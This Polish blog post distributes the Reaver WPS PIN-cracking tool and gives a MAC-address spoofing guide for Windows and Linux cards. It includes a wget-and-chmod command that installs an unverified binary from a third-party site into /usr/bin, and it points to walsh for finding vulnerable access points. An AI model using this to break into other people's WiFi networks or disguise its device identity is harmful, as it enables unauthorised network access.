Udostępniam też źródła, które dostępne są także na stronie: http://code.google.com/p/reaver-wps/

Instalacja:

wget http://backtrack.pl/files/reaver -P /usr/bin && chmod +x /usr/bin/reaver

Kilka słów na temat samego narzędzia:

Program łamie PIN ustawiony metodą WPS, czyli zazwyczaj przez magiczny przycisk znajdujący się na obudowie routera. Program potrzebuje 4-10h na złamanie każdego hasła. Wszystkie router-y posiadające WPS są narażone.

Aby uchronić się przed złamaniem, musimy ustawić silne hasło, ręcznie bez użycia WPS.

WPS: http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf

Update do wersji 1.3 oraz walsh:

http://chomikuj.pl/funtoo/reaver+-+wpa+cracker/reaver+1.3

komenda:

wget http://backtrack.pl/files/reaver -P /usr/bin && chmod +x /usr/bin/reaver

Instaluje teraz wersję 1.3

Dodatkowo można pobrać mikro program o nazwie walsh który pozwala odszukać AP podatne na lukę.

Jak zmienić adres MAC karty WiFi ? (Windows XP Vista 7) Tonze, Alfa, TP-Link

Problem z zmianą adresu MAC karty sieciowej ?

Faktycznie od czasu Windows Vista problemów jest sporo szczególnie dlatego że nowe sterowniki do wielu kart są dosyć problematyczne ale mimo wszystko większość kart daje sobie bez problemu zmienić MAC.

Do najpopularniejszych dających sobie zmienić adres MAC kart należą:

  • 99,9% kart przewodowych (RTL8139, 8169, 3COM, Intel, Marvel itd.)
  • Tonze UW-6200C1 UW-6200R/H UW-6200RX
  • Edimax EW-7318USG (RT73USB/RT2500)
  • Alfa AWUS036H (500mW, 1W)
  • TP-Link WN321G WN322G WN510G WN551G WN353G WN7200ND
  • 100% kart na RTL8187L RTL8187B RTL8180
  • 100% kart na RaLink RT2500 RT257X RT2671 RT5200

Problematyczne karty to:

  • TP-Link WN721N WN722N WN422G v2 WN421G (chip Atheros AR9271, ZyDAS w wersji 1 WN422G działa) po instalacji sterownika dostarczonego przez Windows Update o naziwe (AR9271) zmiana adresu mac zaczyna działać.
  • Alfa AWUS050NH
  • karty na chipach RaLink RT2870 RT2770 RT307X RT2070 RT3572 RT3370 RT8070 (nie aktualne, nowy sterownik działa już poprawnie)

Pozostałe problemy jakie są z zmianą adresów MAC wywołuje system WINDOWS! Szczególnie mam tu na myśli Vistę oraz Seven. XP jest tolerancyjny.

Co należy zrobić aby zmienić adres IP:

Pierwsza metoda to zmiana adresu w zaawansowanych właściwościach karty sieciowej, adres występuje tam jako: „Ethernet Hardware Address” albo „Locally Administered Address” czasem takiego parametru wcale nie ma.

Jeżeli nie ma takiego parametru musimy udać się do rejestru i zmienić go w nim.

Metoda druga: rejestr – odpalamy REGEDIT i udajemy się do „HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl Class{4D36E972-E325-11CE-BFC1-08002bE10318}” gdzie znajdują się katalogi 0001 0002 0003 które dotyczą poszczególnych kart sieciowych w naszym systemie. Niestety Windows kartę na USB wsadzoną w inny port niż poprzednio rozpoznaje jako nową i dodaje kolejny katalog 0005 0006 itd.

Kartę możemy rozpoznać po opisie który jest pod parametrem „Describtion”. Adres MAC zmieniamy przez edycję parametru „NetworkAddress” wpisujemy tam np. 001122334455 (bez – : . ,)

Metoda trzecia „prosta” dla leniwych polecam programy:

MAC MakeUP, SMAC, EtherChange, GetMAC, MadMacs, MACShift i pewnie jeszcze cała masa innych.

Dla posiadaczy karty ALFA AWUS036* producent przygotował sterownik opatrzony „Power Control” pozwala on zmienić moc nadawania karty ale w łatwy sposób zmienić adres MAC. Testowałem wersję dla RTL8187L działa dobrze, oczywiście regulacja mocy to fikcja, ale wiele innych dodatkowych opcji może się do czegoś przydać. Co ciekawe sterownik działa nie tylko dla produktów firmy ALFA ale także dla wszelakich kart z chipem RTL8187L.

Podobna wersja sterownika jest też przewidziana dla kart z RT25XX (rt73usb) a na ftp są wersja dla nowszych kart.

Pamiętajcie jednak że aby dokonać zmiany adresu MAC trzeba być administratorem lub posiadać jego prawa. Inaczej wiele programów „udaje” że zmienia adres a w rzeczywistości dostają „odmowę dostępu”

Krótka wersja zmiany adresu MAC dla LINUX-a:

1. ifconfig

ifconfig wlan0 down

ifconfig wlan0 hw ether 00:00:00:AA:AA:AA

2. macchanger

ifconfig wlan0 down

macchanger -m 00:11:22:33:44:55 wlan0

 

Windows Vista/7 – oba te systemy nie pozwalają na zmianę adresu MAC na inne niż z początkiem 02: